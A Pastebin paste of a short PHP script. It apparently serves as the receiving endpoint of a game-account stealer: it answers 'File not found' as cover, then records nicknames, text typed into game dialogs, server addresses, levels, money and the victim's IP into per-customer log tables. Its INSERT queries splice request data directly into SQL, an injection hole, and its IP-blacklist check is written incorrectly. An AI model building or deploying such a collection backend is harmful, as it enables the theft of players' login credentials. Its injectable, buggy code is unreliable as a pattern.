SHARE
TWEET

Untitled

a guest Aug 25th, 2019 73 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <?php
  2. include 'safemysql.php';
  3. $db = new SafeMySQL();
  4. echo "File not found";
  5. $baseid = $_GET['base'];
  6. if($baseid != 1) {
  7. $log = $_GET['data']. " | ". $_GET['time']. " | Nick: ". $_GET['nn']. " | Dialog[".$_GET['inid']."]: ".$_GET['inp']." | Server: ".$_GET['ip']." ".$_GET['serv']." | LVL: ".$_GET['score']." | User-IP: ".$_SERVER["REMOTE_ADDR"]." | Money: ".$_GET['mn'];
  8. $logsize = strlen($log);
  9. $blockip = $db->getRow("SELECT blacklist FROM users WHERE id = ?s", $baseid);
  10. if(!$blockip['blacklist'] == "") {
  11.     if(in_array(";", $blockip)) {
  12.         $blockip = explode(";", $blockip);
  13.     }
  14.     if(!in_array($_SERVER["REMOTE_ADDR"], $blockip)) {
  15.         $db->query("INSERT INTO `userlogs`(`id`, `log`) VALUES ('$baseid', '$log')");
  16.         $db->query("UPDATE `users` SET size=size + ?i WHERE id=?i", $logsize, $baseid);
  17.     } else {
  18.         echo "IP has been banned.";
  19.     }
  20. } else {
  21.     $db->query("INSERT INTO `userlogs`(`id`, `log`) VALUES ('$baseid', '$log')");
  22.     $db->query("UPDATE `users` SET size=size + ?i WHERE id=?i", $logsize, $baseid);
  23. }
  24. }
  25. ?>
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top